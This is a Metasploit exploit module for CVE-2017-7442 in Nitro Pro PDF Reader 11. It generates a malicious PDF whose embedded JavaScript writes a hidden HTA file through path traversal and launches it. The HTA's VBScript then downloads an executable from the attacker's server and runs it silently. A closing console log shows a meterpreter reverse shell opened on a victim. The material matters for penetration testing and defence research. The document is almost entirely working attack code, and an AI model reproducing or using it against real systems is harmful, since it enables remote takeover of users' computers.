Nitro Pro PDF Reader 11.0.3.173 – Javascript API Code Execution (Metasploit)
## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpServer::HTML include Msf::Exploit::FileDropper include Msf::Exploit::FILEFORMAT include Msf::Exploit::EXE def initialize(info={}) super(update_info(info, 'Name' => 'Nitro Pro PDF Reader 11.0.3.173 Javascript API Remote Code Execution', 'Description' => %q{ This module exploits an unsafe Javascript API implemented in Nitro and Nitro Pro PDF Reader version 11. The saveAs() Javascript API function allows for writing arbitrary files to the file system. Additionally, the launchURL() function allows an attacker to execute local files on the file system and bypass the security dialog Note: This is 100% reliable. }, 'License' => MSF_LICENSE, 'Author' => [ 'mr_me <steven[at]srcincite.io>', # vulnerability discovery and exploit 'Brendan Coles <bcoles [at] gmail.com>', # hidden hta tricks! 'sinn3r' # help with msf foo! ], 'References' => [ [ 'CVE', '2017-7442' ], [ 'URL', 'http://srcincite.io/advisories/src-2017-0005/' ], # public advisory #1 [ 'URL', 'https://blogs.securiteam.com/index.php/archives/3251' ], # public advisory #2 (verified and acquired by SSD) ], 'DefaultOptions' => { 'DisablePayloadHandler' => false }, 'Platform' => 'win', 'Targets' => [ # truly universal [ 'Automatic', { } ], ], 'DisclosureDate' => 'Jul 24 2017', 'DefaultTarget' => 0)) register_options([ OptString.new('FILENAME', [ true, 'The file name.', 'msf.pdf']), OptString.new('URIPATH', [ true, "The URI to use.", "/" ]), ]) deregister_options('SSL', 'SSLVersion', 'SSLCert') end def build_vbs(url, stager_name) name_xmlhttp = rand_text_alpha(2) name_adodb = rand_text_alpha(2) vbs = %Q|<head><hta:application applicationname="#{@payload_name}" border="none" borderstyle="normal" caption="false" contextmenu="false" icon="%SystemRoot%/Installer/{7E1360F1-8915-419A-B939-900B26F057F0}/Professional.ico" maximizebutton="false" minimizebutton="false" navigable="false" scroll="false" selection="false" showintaskbar="No" sysmenu="false" version="1.0" windowstate="Minimize"></head> <style>* { visibility: hidden; }</style> <script language="VBScript"> window.resizeTo 1,1 window.moveTo -2000,-2000 </script> <script type="text/javascript">setTimeout("window.close()", 5000);</script> <script language="VBScript"> On Error Resume Next Set #{name_xmlhttp} = CreateObject("Microsoft.XMLHTTP") #{name_xmlhttp}.open "GET","http://#{url}",False #{name_xmlhttp}.send Set #{name_adodb} = CreateObject("ADODB.Stream") #{name_adodb}.Open #{name_adodb}.Type=1 #{name_adodb}.Write #{name_xmlhttp}.responseBody #{name_adodb}.SaveToFile "C:#{@temp_folder}/#{@payload_name}.exe",2 set shellobj = CreateObject("wscript.shell") shellobj.Run "C:#{@temp_folder}/#{@payload_name}.exe",0 </script>| vbs.gsub!(/ /,'') return vbs end def on_request_uri(cli, request) if request.uri =~ /\.exe/ print_status("Sending second stage payload") return if ((p=regenerate_payload(cli)) == nil) data = generate_payload_exe( {:code=>p.encoded} ) send_response(cli, data, {'Content-Type' => 'application/octet-stream'} ) return end end def exploit # In order to save binary data to the file system the payload is written to a .vbs # file and execute it from there. @payload_name = rand_text_alpha(4) @temp_folder = "/Windows/Temp" register_file_for_cleanup("C:#{@temp_folder}/#{@payload_name}.hta") if datastore['SRVHOST'] == '0.0.0.0' lhost = Rex::Socket.source_address('50.50.50.50') else lhost = datastore['SRVHOST'] end payload_src = lhost payload_src << ":#{datastore['SRVPORT']}#{datastore['URIPATH']}#{@payload_name}.exe" stager_name = rand_text_alpha(6) + ".vbs" pdf = %Q|%PDF-1.7 4 0 obj << /Length 0 >> stream | pdf << build_vbs(payload_src, stager_name) pdf << %Q| endstream endobj 5 0 obj << /Type /Page /Parent 2 0 R /Contents 4 0 R >> endobj 1 0 obj << /Type /Catalog /Pages 2 0 R /OpenAction [ 5 0 R /Fit ] /Names << /JavaScript << /Names [ (EmbeddedJS) << /S /JavaScript /JS ( this.saveAs('../../../../../../../../../../../../../../../..#{@temp_folder}/#{@payload_name}.hta'); app.launchURL('c$:/../../../../../../../../../../../../../../../..#{@temp_folder}/#{@payload_name}.hta'); ) >> ] >> >> >> endobj 2 0 obj <</Type/Pages/Count 1/Kids [ 5 0 R ]>> endobj 3 0 obj <<>> endobj xref 0 6 0000000000 65535 f 0000000166 00000 n 0000000244 00000 n 0000000305 00000 n 0000000009 00000 n 0000000058 00000 n trailer << /Size 6 /Root 1 0 R >> startxref 327 %%EOF| pdf.gsub!(/ /,'') file_create(pdf) super end end =begin saturn:metasploit-framework mr_me$ ./msfconsole -qr scripts/nitro.rc [*] Processing scripts/nitro.rc for ERB directives. resource (scripts/nitro.rc)> use exploit/windows/fileformat/nitro_reader_jsapi resource (scripts/nitro.rc)> set payload windows/meterpreter/reverse_tcp payload => windows/meterpreter/reverse_tcp resource (scripts/nitro.rc)> set LHOST 172.16.175.1 LHOST => 172.16.175.1 resource (scripts/nitro.rc)> exploit [*] Exploit running as background job. [*] Started reverse TCP handler on 172.16.175.1:4444 msf exploit(nitro_reader_jsapi) > [+] msf.pdf stored at /Users/mr_me/.msf4/local/msf.pdf [*] Using URL: http://0.0.0.0:8080/ [*] Local IP: http://192.168.100.4:8080/ [*] Server started. [*] 192.168.100.4 nitro_reader_jsapi - Sending second stage payload [*] Sending stage (957487 bytes) to 172.16.175.232 [*] Meterpreter session 1 opened (172.16.175.1:4444 -> 172.16.175.232:49180) at 2017-04-05 14:01:33 -0500 [+] Deleted C:/Windows/Temp/UOIr.hta msf exploit(nitro_reader_jsapi) > sessions -i 1 [*] Starting interaction with 1... meterpreter > shell Process 2412 created. Channel 2 created. Microsoft Windows [Version 6.1.7601] Copyright (c) 2009 Microsoft Corporation. All rights reserved. C:\Users\researcher\Desktop> =end |